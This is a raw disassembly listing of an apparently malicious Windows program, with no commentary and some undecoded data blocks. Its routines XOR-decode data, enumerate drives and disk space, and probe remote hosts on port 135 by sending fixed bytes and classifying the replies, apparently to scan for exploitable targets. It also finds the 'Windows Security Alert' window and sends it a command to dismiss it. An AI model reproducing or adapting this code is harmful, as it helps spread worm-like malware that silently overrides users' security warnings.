		dd 0FAB8A583h, 0DF00FFFFh, 0FFFAB4ADh, 7835DCFFh, 510043E4h
		dd 241CDD51h, 44DC1C68h, 40858D00h, 50FFFFFBh, 84E7E8h
		dd 1CC48300h, 0F07D83h,	6A2175h, 8DF475FFh, 0FFFB4085h
		dd 858D50FFh, 0FFFFFD58h, 54B5FF50h, 0E8FFFFFDh, 0FFFF1B0Fh
		dd 8D14C483h, 0FFFB4085h, 0CDE850FFh, 59FFFFDEh, 6A106Ah
		dd 0FAD4858Dh, 0E850FFFFh, 7EF0h, 6A0CC483h, 8D006A44h
		dd 0FFFAE485h, 0DDE850FFh, 8300007Eh, 85C70CC4h, 0FFFFFAF0h
		dd 4E8620h, 0FAE485C7h,	44FFFFh, 85C70000h, 0FFFFFB10h
		dd 1, 14A58366h, 0FFFFFBh, 0FAD4858Dh, 8D50FFFFh, 0FFFAE485h
		dd 6A50FFh, 286A006Ah, 6A006Ah,	858D006Ah, 0FFFFFED8h
		dd 0E8006A50h, 23773EFh, 1F88390h, 15FF1375h, 4E1658h
		dd 1372E8h, 90006A00h, 40383DE8h, 0D8858D7Ch, 50FFFFFEh
		dd 44DC6068h, 40858D00h, 50FFFFFBh, 840BE8h, 0CC48300h
		dd 0F07D83h, 6A2175h, 8DF475FFh, 0FFFB4085h, 858D50FFh
		dd 0FFFFFD58h, 54B5FF50h, 0E8FFFFFDh, 0FFFF1A33h, 8D14C483h
		dd 0FFFB4085h, 0F1E850FFh, 59FFFFDDh, 858D4FEBh, 0FFFFFDD8h
		dd 0DC946850h, 858D0044h, 0FFFFFB40h, 83BAE850h, 0C4830000h
		dd 0F07D830Ch, 6A217500h, 0F475FF00h, 0FB40858Dh, 8D50FFFFh
		dd 0FFFD5885h, 0B5FF50FFh, 0FFFFFD54h, 0FF19E2E8h, 14C483FFh
		dd 0FB40858Dh, 0E850FFFFh, 0FFFFDDA0h, 48B5FF59h, 0FFFFFFFDh
		dd 4E173415h, 0D875FF00h, 0FF41B1E8h, 6A59FFh, 4169A7E8h
		dd 0E1EB9002h, 0C2C95E5Fh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		and	dword ptr [ebp-4], 0
		jmp	short loc_419673
; ---------------------------------------------------------------------------


loc_41966C:				; CODE XREF: .XComp0:00419691j
		mov	eax, [ebp-4]
		inc	eax
		mov	[ebp-4], eax


loc_419673:				; CODE XREF: .XComp0:0041966Aj
		mov	eax, [ebp-4]
		cmp	eax, [ebp+0Ch]
		jge	short loc_419693
		mov	eax, [ebp+8]
		add	eax, [ebp-4]
		mov	al, [eax]
		xor	al, byte_441090
		mov	ecx, [ebp+8]
		add	ecx, [ebp-4]
		mov	[ecx], al
		jmp	short loc_41966C
; ---------------------------------------------------------------------------


loc_419693:				; CODE XREF: .XComp0:00419679j
		mov	eax, [ebp+8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419698	proc near		; CODE XREF: sub_4021E5+8BB1p
					; sub_4021E5+8DB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4240E0
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		pop	ebp
		retn
sub_419698	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196B4	proc near		; CODE XREF: sub_415120+585p
					; sub_415120+766p ...

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	[ebp+var_4], 32h
		and	[ebp+var_3C], 0
		push	32h
		push	0
		push	offset dword_4E8624
		call	sub_421410
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_40], eax


loc_4196DC:				; CODE XREF: sub_4196B4+91j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4241B0
		add	eax, 30h
		adc	edx, 0
		mov	ecx, [ebp+var_40]
		mov	[ecx], al
		mov	eax, [ebp+var_40]
		inc	eax
		mov	[ebp+var_40], eax
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_424140
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		mov	eax, [ebp+arg_0]
		or	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41973D
		mov	eax, [ebp+var_3C]
		inc	eax
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		cdq
		push	3
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41973D
		mov	eax, [ebp+var_40]
		mov	byte ptr [eax],	2Ch
		mov	eax, [ebp+var_40]
		inc	eax
		mov	[ebp+var_40], eax


loc_41973D:				; CODE XREF: sub_4196B4+66j
					; sub_4196B4+7Aj
		mov	eax, [ebp+arg_0]
		or	eax, [ebp+arg_4]
		test	eax, eax
		jnz	short loc_4196DC
		mov	eax, [ebp+var_40]
		dec	eax
		mov	[ebp+var_40], eax
		mov	[ebp+var_44], offset dword_4E8624
		jmp	short loc_41975E
; ---------------------------------------------------------------------------


loc_419757:				; CODE XREF: sub_4196B4+C5j
		mov	eax, [ebp+var_40]
		dec	eax
		mov	[ebp+var_40], eax


loc_41975E:				; CODE XREF: sub_4196B4+A1j
		mov	eax, [ebp+var_40]
		lea	ecx, [ebp+var_38]
		cmp	eax, ecx
		jb	short loc_41977B
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_40]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_44]
		inc	eax
		mov	[ebp+var_44], eax
		jmp	short loc_419757
; ---------------------------------------------------------------------------


loc_41977B:				; CODE XREF: sub_4196B4+B2j
		mov	eax, [ebp+var_44]
		and	byte ptr [eax],	0
		mov	eax, offset dword_4E8624
		leave
		retn
sub_4196B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419788	proc near		; CODE XREF: sub_4199AA+54p
					; sub_4199AA+8Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	dword_4E1760	; GetDriveTypeA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4197BE
		cmp	[ebp+var_4], 1
		jz	short loc_4197C5
		cmp	[ebp+var_4], 3
		jz	short loc_4197CC
		cmp	[ebp+var_4], 4
		jz	short loc_4197D3
		cmp	[ebp+var_4], 5
		jz	short loc_4197DA
		cmp	[ebp+var_4], 6
		jz	short loc_4197E1
		jmp	short loc_4197E8
; ---------------------------------------------------------------------------


loc_4197BE:				; CODE XREF: sub_419788+14j
		mov	eax, offset aUnknown_0 ; "Unknown"
		jmp	short locret_4197ED
; ---------------------------------------------------------------------------


loc_4197C5:				; CODE XREF: sub_419788+1Aj
		mov	eax, offset aInvalid ; "Invalid"
		jmp	short locret_4197ED
; ---------------------------------------------------------------------------


loc_4197CC:				; CODE XREF: sub_419788+20j
		mov	eax, offset aDisk ; "Disk"
		jmp	short locret_4197ED
; ---------------------------------------------------------------------------


loc_4197D3:				; CODE XREF: sub_419788+26j
		mov	eax, offset aNetwork ; "Network"
		jmp	short locret_4197ED
; ---------------------------------------------------------------------------


loc_4197DA:				; CODE XREF: sub_419788+2Cj
		mov	eax, offset aCdrom ; "Cdrom"
		jmp	short locret_4197ED
; ---------------------------------------------------------------------------


loc_4197E1:				; CODE XREF: sub_419788+32j
		mov	eax, offset off_44DCE8
		jmp	short locret_4197ED
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_419788+34j
		mov	eax, offset dword_44DCEC

locret_4197ED:				; CODE XREF: sub_419788+3Bj
					; sub_419788+42j ...
		leave
		retn
sub_419788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4197EF	proc near		; CODE XREF: sub_41983F+15p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	edi
		or	[ebp+var_18], 0FFFFFFFFh
		or	[ebp+var_14], 0FFFFFFFFh
		or	[ebp+var_10], 0FFFFFFFFh
		or	[ebp+var_C], 0FFFFFFFFh
		or	[ebp+var_8], 0FFFFFFFFh
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	dword_4E15F0, 0
		jz	short loc_41982D
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E15F0	; GetDiskFreeSpaceExA


loc_41982D:				; CODE XREF: sub_4197EF+27j
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, [ebp+arg_0]
		rep movsd
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		leave
		retn
sub_4197EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41983F	proc near		; CODE XREF: sub_4199AA+15p
					; sub_41E318+287p

var_1C8		= byte ptr -1C8h
var_1B0		= byte ptr -1B0h
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_4197EF
		pop	ecx
		pop	ecx
		mov	esi, eax
		push	6
		pop	ecx
		lea	edi, [ebp+var_1B0]
		rep movsd
		push	6
		pop	ecx
		lea	esi, [ebp+var_1B0]
		lea	edi, [ebp+var_198]
		rep movsd
		mov	eax, [ebp+var_198]
		and	eax, [ebp+var_194]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4198AC
		mov	eax, [ebp+var_190]
		and	eax, [ebp+var_18C]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4198AC
		mov	eax, [ebp+var_188]
		and	eax, [ebp+var_184]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4198E7


loc_4198AC:				; CODE XREF: sub_41983F+49j
					; sub_41983F+5Aj
		push	offset aFailed	; "failed"
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	offset aFailed_0 ; "failed"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	offset aFailed_1 ; "failed"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_419995
; ---------------------------------------------------------------------------


loc_4198E7:				; CODE XREF: sub_41983F+6Bj
		push	0
		push	400h
		push	[ebp+var_194]
		push	[ebp+var_198]
		call	sub_424230
		push	edx
		push	eax
		call	sub_4196B4
		pop	ecx
		pop	ecx
		push	eax
		push	offset aSkb	; "%sKB"
		push	80h
		lea	eax, [ebp+var_180]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		push	400h
		push	[ebp+var_18C]
		push	[ebp+var_190]
		call	sub_424230
		push	edx
		push	eax
		call	sub_4196B4
		pop	ecx
		pop	ecx
		push	eax
		push	offset aSkb_0	; "%sKB"
		push	80h
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		push	400h
		push	[ebp+var_184]
		push	[ebp+var_188]
		call	sub_424230
		push	edx
		push	eax
		call	sub_4196B4
		pop	ecx
		pop	ecx
		push	eax
		push	offset aSkb_1	; "%sKB"
		push	80h
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_419995:				; CODE XREF: sub_41983F+A3j
		push	60h
		pop	ecx
		lea	esi, [ebp+var_180]
		mov	edi, [ebp+arg_0]
		rep movsd
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		leave
		retn
sub_41983F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199AA	proc near		; CODE XREF: sub_419A83+18p
					; sub_419A83+7Fp

var_680		= byte ptr -680h
var_500		= byte ptr -500h
var_380		= byte ptr -380h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 680h
		push	esi
		push	edi
		push	[ebp+arg_C]
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_41983F
		pop	ecx
		pop	ecx
		mov	esi, eax
		push	60h
		pop	ecx
		lea	edi, [ebp+var_500]
		rep movsd
		push	60h
		pop	ecx
		lea	esi, [ebp+var_500]
		lea	edi, [ebp+var_180]
		rep movsd
		push	offset aFailed_2 ; "failed"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_419A20
		push	[ebp+arg_C]
		push	[ebp+arg_C]
		call	sub_419788
		pop	ecx
		push	eax
		push	offset unk_44DD28
		push	200h
		lea	eax, [ebp+var_380]
		push	eax
		call	sub_421B90
		add	esp, 14h
		jmp	short loc_419A58
; ---------------------------------------------------------------------------


loc_419A20:				; CODE XREF: sub_4199AA+4Cj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_C]
		call	sub_419788
		pop	ecx
		push	eax
		push	offset unk_44DD64
		push	200h
		lea	eax, [ebp+var_380]
		push	eax
		call	sub_421B90
		add	esp, 20h


loc_419A58:				; CODE XREF: sub_4199AA+74j
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_380]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_380]
		push	eax
		call	sub_4173DC
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn
sub_4199AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A83	proc near		; CODE XREF: sub_4021E5+3015p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_C], 0
		jz	short loc_419AA8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4199AA
		add	esp, 10h
		jmp	locret_419B28
; ---------------------------------------------------------------------------


loc_419AA8:				; CODE XREF: sub_419A83+Aj
		push	0
		push	0
		call	dword_4E1668	; GetLogicalDriveStringsA
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		call	sub_41EDA0
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+var_C]
		mov	eax, [ebp+var_8]
		inc	eax
		inc	eax
		push	eax
		call	dword_4E1668	; GetLogicalDriveStringsA
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax


loc_419AD9:				; CODE XREF: sub_419A83+9Aj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_419B1F
		push	offset off_44DDA0
		push	[ebp+var_4]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_419B0A
		push	[ebp+var_4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4199AA
		add	esp, 10h


loc_419B0A:				; CODE XREF: sub_419A83+71j
		push	[ebp+var_4]
		call	sub_41EBD0
		pop	ecx
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_4], eax
		jmp	short loc_419AD9
; ---------------------------------------------------------------------------


loc_419B1F:				; CODE XREF: sub_419A83+5Ej
		push	[ebp+var_C]
		call	sub_41F930
		pop	ecx

locret_419B28:				; CODE XREF: sub_419A83+20j
		leave
		retn
sub_419A83	endp

; ---------------------------------------------------------------------------
word_419B2A	dw 8B55h		; DATA XREF: sub_4021E5+70C0o
		dd 0A4EC81ECh, 56000004h, 8758B57h, 0A7B9h, 60BD8D00h
		dd 0F3FFFFFDh, 8458BA5h, 8BFC4589h, 80C7FC45h, 298h, 1
		dd 0FD5CA583h, 8D00FFFFh, 0FFFEE885h, 65E850FFh, 59000050h
		dd 584BE0Fh, 0FFFFFEE7h, 755CF883h, 0E8858D15h,	50FFFFFEh
		dd 504BE8h, 0A4805900h,	0FFFEE705h, 858D00FFh, 0FFFFFDE4h
		dd 0DDA46850h, 680044h,	8D000002h, 0FFFB5C85h, 0E5E850FFh
		dd 8300007Fh, 7D8310C4h, 217500F4h, 75FF006Ah, 5C858DF0h
		dd 50FFFFFBh, 0FD64858Dh, 0FF50FFFFh, 0FFFD60B5h, 143DE8FFh
		dd 0C483FFFFh, 5CB5FF14h, 8DFFFFFDh, 0FFFEE885h, 858D50FFh
		dd 0FFFFFDE4h, 0F075FF50h, 0FD64858Dh, 0FF50FFFFh, 0FFFD60B5h
		dd 6EE8FFh, 0C4830000h,	5C858918h, 0FFFFFFFDh, 0FFFD5CB5h
		dd 0DDCC68FFh, 858D0044h, 0FFFFFB5Ch, 7DA2E850h, 0C4830000h
		dd 0F47D830Ch, 6A217500h, 0F075FF00h, 0FB5C858Dh, 8D50FFFFh
		dd 0FFFD6485h, 0B5FF50FFh, 0FFFFFD60h, 0FF13CAE8h, 14C483FFh
		dd 0FB5C858Dh, 0E850FFFFh, 0FFFFD788h, 0EC75FF59h, 0FF3BA5E8h
		dd 6A59FFh, 41639BE8h, 5E5F9002h, 4C2C9h, 81EC8B55h, 54CECh
		dd 1875FF00h, 44DDEC68h, 1046800h, 858D0000h, 0FFFFFCB4h
		dd 7F02E850h, 0C4830000h, 0C0858D10h, 50FFFFFEh, 0FCB4858Dh
		dd 9050FFFFh, 48635BE8h, 0BC858902h, 83FFFFFEh,	0FFFEBCBDh
		dd 840FFFFFh, 8Fh, 0FEC0858Bh, 0E083FFFFh, 74C08510h, 85BE0F67h
		dd 0FFFFFEECh, 752EF883h, 85BE0F17h, 0FFFFFEEDh, 5074C085h
		dd 0ED85BE0Fh, 83FFFFFEh, 44742EF8h, 0FEEC858Dh, 0FF50FFFFh
		dd 0F4681875h, 680044DDh, 104h,	0FDB8858Dh, 0E850FFFFh
		dd 7E88h, 0FF14C483h, 858D1C75h, 0FFFFFDB8h, 1475FF50h
		dd 0FF1075FFh, 75FF0C75h, 0FF46E808h, 0C483FFFFh, 1C458918h
		dd 0FEC0858Dh, 0FF50FFFFh, 0FFFEBCB5h, 62C2E8FFh, 85900247h
		dd 71850FC0h, 0FFFFFFFFh, 0FFFEBCB5h, 0C8E890FFh, 0FF024579h
		dd 75FF1475h, 0DDFC6818h, 4680044h, 8D000001h, 0FFFCB485h
		dd 21E850FFh, 8300007Eh, 858D14C4h, 0FFFFFEC0h,	0B4858D50h
		dd 50FFFFFCh, 627AE890h, 85890248h, 0FFFFFEBCh,	0FEBCBD83h
		dd 74FFFFFFh, 1C458B5Bh, 1C458940h, 0FEEC858Dh,	0FF50FFFFh
		dd 4681875h, 680044DEh,	200h, 0FAB4858Dh, 0E850FFFFh, 7DD4h
		dd 6A14C483h, 1075FF01h, 0FAB4858Dh, 0FF50FFFFh, 75FF0C75h
		dd 1239E808h, 0C483FFFFh, 0C0858D14h, 50FFFFFEh, 0FEBCB5FFh
		dd 0E890FFFFh, 2476214h, 0A575C085h, 0FEBCB5FFh, 0E890FFFFh
		dd 245791Fh, 0C91C458Bh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E01	proc near		; CODE XREF: sub_419E40+1D7p
					; sub_419E40+21Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_419E12
; ---------------------------------------------------------------------------


loc_419E0B:				; CODE XREF: sub_419E01:loc_419E3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_419E12:				; CODE XREF: sub_419E01+8j
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+arg_C]
		cmp	[ebp+var_4], eax
		jge	short loc_419E3C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_4242E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419E3A
		mov	al, 1
		jmp	short locret_419E3E
; ---------------------------------------------------------------------------


loc_419E3A:				; CODE XREF: sub_419E01+33j
		jmp	short loc_419E0B
; ---------------------------------------------------------------------------


loc_419E3C:				; CODE XREF: sub_419E01+1Aj
		xor	al, al

locret_419E3E:				; CODE XREF: sub_419E01+37j
		leave
		retn
sub_419E01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E40	proc near		; CODE XREF: sub_41104D+3Ap

var_2020	= dword	ptr -2020h
var_201C	= dword	ptr -201Ch
var_2018	= word ptr -2018h
var_2016	= word ptr -2016h
var_2014	= dword	ptr -2014h
var_2008	= dword	ptr -2008h
var_2004	= byte ptr -2004h
var_2002	= byte ptr -2002h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2020h
		call	sub_421EE0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2020],	eax
		cmp	[ebp+var_2020],	1
		jz	short loc_419E7E
		cmp	[ebp+var_2020],	2
		jz	loc_41A0CA
		cmp	[ebp+var_2020],	3
		jz	loc_41A0EE
		jmp	loc_41A0F2
; ---------------------------------------------------------------------------


loc_419E7E:				; CODE XREF: sub_419E40+1Dj
		and	[ebp+var_201C],	0
		push	6
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_419EA0
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_419EA7


loc_419EA0:				; CODE XREF: sub_419E40+58j
		xor	eax, eax
		jmp	locret_41A0F8
; ---------------------------------------------------------------------------


loc_419EA7:				; CODE XREF: sub_419E40+5Ej
		push	10h
		push	0
		lea	eax, [ebp+var_2018]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_2018],	2
		push	87h
		call	dword_4E1700	; ntohs
		mov	[ebp+var_2016],	ax
		push	[ebp+arg_0]
		call	sub_40C670
		pop	ecx
		mov	[ebp+var_2014],	eax
		push	10h
		lea	eax, [ebp+var_2018]
		push	eax
		push	[ebp+var_4]
		call	dword_4E16A8	; connect
		mov	[ebp+var_2008],	eax
		cmp	[ebp+var_2008],	0FFFFFFFFh
		jz	loc_41A0A8
		push	0
		push	48h
		push	offset dword_44DE20
		push	[ebp+var_4]
		call	dword_4E1750	; send
		mov	[ebp+var_2008],	eax
		cmp	[ebp+var_2008],	0FFFFFFFFh
		jnz	short loc_419F3E
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+var_201C]
		jmp	locret_41A0F8
; ---------------------------------------------------------------------------


loc_419F3E:				; CODE XREF: sub_419E40+E8j
		push	0
		push	2000h
		lea	eax, [ebp+var_2004]
		push	eax
		push	[ebp+var_4]
		call	dword_4E1718	; recv
		mov	[ebp+var_2008],	eax
		cmp	[ebp+var_2008],	0FFFFFFFFh
		jnz	short loc_419F78
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+var_201C]
		jmp	locret_41A0F8
; ---------------------------------------------------------------------------


loc_419F78:				; CODE XREF: sub_419E40+122j
		movsx	eax, [ebp+var_2002]
		cmp	eax, 0Ch
		jnz	loc_41A095
		push	0
		push	18h
		push	offset dword_44DE6C
		push	[ebp+var_4]
		call	dword_4E1750	; send
		mov	[ebp+var_2008],	eax
		cmp	[ebp+var_2008],	0FFFFFFFFh
		jnz	short loc_419FBD
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+var_201C]
		jmp	locret_41A0F8
; ---------------------------------------------------------------------------


loc_419FBD:				; CODE XREF: sub_419E40+167j
		push	0
		push	2000h
		lea	eax, [ebp+var_2004]
		push	eax
		push	[ebp+var_4]
		call	dword_4E1718	; recv
		mov	[ebp+var_2008],	eax
		cmp	[ebp+var_2008],	0FFFFFFFFh
		jnz	short loc_419FF7
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+var_201C]
		jmp	locret_41A0F8
; ---------------------------------------------------------------------------


loc_419FF7:				; CODE XREF: sub_419E40+1A1j
		movsx	eax, [ebp+var_2002]
		cmp	eax, 2
		jnz	short loc_41A082
		push	10h
		push	offset loc_44DE88
		push	[ebp+var_2008]
		lea	eax, [ebp+var_2004]
		push	eax
		call	sub_419E01
		add	esp, 10h
		movzx	eax, al
		test	eax, eax
		jz	short loc_41A04A
		cmp	[ebp+var_2008],	12Ch
		jge	short loc_41A03E
		mov	[ebp+var_201C],	1
		jmp	short loc_41A048
; ---------------------------------------------------------------------------


loc_41A03E:				; CODE XREF: sub_419E40+1F0j
		mov	[ebp+var_201C],	2


loc_41A048:				; CODE XREF: sub_419E40+1FCj
		jmp	short loc_41A080
; ---------------------------------------------------------------------------


loc_41A04A:				; CODE XREF: sub_419E40+1E4j
		push	10h
		push	offset dword_44DE9C
		push	[ebp+var_2008]
		lea	eax, [ebp+var_2004]
		push	eax
		call	sub_419E01
		add	esp, 10h
		movzx	eax, al
		test	eax, eax
		jz	short loc_41A079
		mov	[ebp+var_201C],	3
		jmp	short loc_41A080
; ---------------------------------------------------------------------------


loc_41A079:				; CODE XREF: sub_419E40+22Bj
		and	[ebp+var_201C],	0


loc_41A080:				; CODE XREF: sub_419E40:loc_41A048j
					; sub_419E40+237j
		jmp	short loc_41A093
; ---------------------------------------------------------------------------


loc_41A082:				; CODE XREF: sub_419E40+1C1j
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+var_201C]
		jmp	short locret_41A0F8
; ---------------------------------------------------------------------------


loc_41A093:				; CODE XREF: sub_419E40:loc_41A080j
		jmp	short loc_41A0A6
; ---------------------------------------------------------------------------


loc_41A095:				; CODE XREF: sub_419E40+142j
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+var_201C]
		jmp	short locret_41A0F8
; ---------------------------------------------------------------------------


loc_41A0A6:				; CODE XREF: sub_419E40:loc_41A093j
		jmp	short loc_41A0B9
; ---------------------------------------------------------------------------


loc_41A0A8:				; CODE XREF: sub_419E40+C3j
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+var_201C]
		jmp	short locret_41A0F8
; ---------------------------------------------------------------------------


loc_41A0B9:				; CODE XREF: sub_419E40:loc_41A0A6j
		push	[ebp+var_4]
		call	dword_4E1798	; closesocket
		mov	eax, [ebp+var_201C]
		jmp	short locret_41A0F8
; ---------------------------------------------------------------------------


loc_41A0CA:				; CODE XREF: sub_419E40+26j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4E1740	; inet_addr
		push	eax
		call	sub_40E8AF
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41A0EC
		push	3
		pop	eax
		jmp	short locret_41A0F8
; ---------------------------------------------------------------------------


loc_41A0EC:				; CODE XREF: sub_419E40+2A5j
		jmp	short loc_41A0F6
; ---------------------------------------------------------------------------


loc_41A0EE:				; CODE XREF: sub_419E40+33j
		xor	eax, eax
		jmp	short locret_41A0F8
; ---------------------------------------------------------------------------


loc_41A0F2:				; CODE XREF: sub_419E40+39j
		xor	eax, eax
		jmp	short locret_41A0F8
; ---------------------------------------------------------------------------


loc_41A0F6:				; CODE XREF: sub_419E40:loc_41A0ECj
		xor	eax, eax

locret_41A0F8:				; CODE XREF: sub_419E40+62j
					; sub_419E40+F9j ...
		leave
		retn
sub_419E40	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx


loc_41A0FE:				; CODE XREF: .XComp0:0041A1A9j
		push	1
		pop	eax
		test	eax, eax
		jz	loc_41A1AE
		and	dword ptr [ebp-4], 0
		push	offset aWindowsSecurit ; "Windows Security Alert"
		push	0
		call	dword_4E170C	; FindWindowA
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41A14E
		push	0
		push	68h
		push	111h
		push	dword ptr [ebp-4]
		call	dword_4E175C	; SendMessageA


loc_41A135:				; CODE XREF: .XComp0:0041A14Aj
		push	dword ptr [ebp-4]
		call	dword_4E16A0	; IsWindow
		test	eax, eax
		jz	short loc_41A14C
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_41A135
; ---------------------------------------------------------------------------


